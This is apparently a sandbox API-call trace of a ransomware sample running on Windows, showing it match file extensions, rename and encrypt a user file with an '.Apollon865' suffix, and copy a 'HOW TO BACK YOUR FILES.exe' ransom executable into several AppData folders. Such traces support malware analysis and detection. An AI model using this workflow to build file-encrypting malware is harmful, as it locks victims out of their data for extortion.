	[0044.057] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0044.057] lstrlenW (lpString="db") returned 2
	[0044.057] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0044.057] lstrlenW (lpString="db2") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0044.057] lstrlenW (lpString="db3") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0044.057] lstrlenW (lpString="dbf") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0044.057] lstrlenW (lpString="mdf") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0044.057] lstrlenW (lpString="mdb") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0044.057] lstrlenW (lpString="sql") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0044.057] lstrlenW (lpString="sqlite") returned 6
	[0044.057] lstrcmpiW (lpString1="1].xml", lpString2="sqlite") returned -1
	[0044.057] lstrlenW (lpString="sqlite3") returned 7
	[0044.057] lstrcmpiW (lpString1="[1].xml", lpString2="sqlite3") returned -1
	[0044.057] lstrlenW (lpString="sqlitedb") returned 8
	[0044.058] lstrcmpiW (lpString1="n[1].xml", lpString2="sqlitedb") returned -1
	[0044.058] lstrlenW (lpString="xml") returned 3
	[0044.058] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0044.058] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.Apollon865") returned 127
	[0044.058] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.apollon865"), dwFlags=0x1) returned 1
	[0044.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x148
	[0044.058] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=13) returned 1
	[0044.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0044.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0044.059] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0044.059] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.059] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.060] CreateFileMappingW (hFile=0x148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x154
	[0044.061] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000
	[0044.062] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0044.063] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.063] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0044.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0044.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.064] CloseHandle (hObject=0x154) returned 1
	[0044.064] CloseHandle (hObject=0x148) returned 1
	[0044.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0044.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0044.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.065] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0
	[0044.065] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.065] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0044.065] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0"
	[0044.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0044.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0044.065] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0") returned 64
	[0044.065] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0"
	[0044.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.066] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp9_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.070] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.070] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32561ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32561ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.070] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.070] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.071] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.071] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32561ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32561ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.071] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.071] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.071] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.071] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.071] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32561ef0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32561ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.071] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.071] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32561ef0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32561ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.071] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.071] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0044.071] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1"
	[0044.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0044.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0044.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1") returned 64
	[0044.072] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1"
	[0044.072] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.072] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp8_1\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.076] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.076] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.076] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.076] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.076] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.076] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.077] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.077] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.077] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.077] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.077] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.077] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.077] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.077] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.077] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0044.077] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12"
	[0044.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0044.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0044.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12") returned 63
	[0044.077] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12"
	[0044.077] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.077] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.082] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.082] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.082] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.082] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.082] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.082] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.083] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.083] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.083] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.083] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.083] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.083] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.083] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.083] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.083] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0044.083] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12"
	[0044.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0044.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0044.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12") returned 62
	[0044.083] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12"
	[0044.083] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.083] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\ime12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.087] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.087] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.087] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.088] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.088] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.088] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32588050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.088] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.088] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.088] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.088] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.088] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.088] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
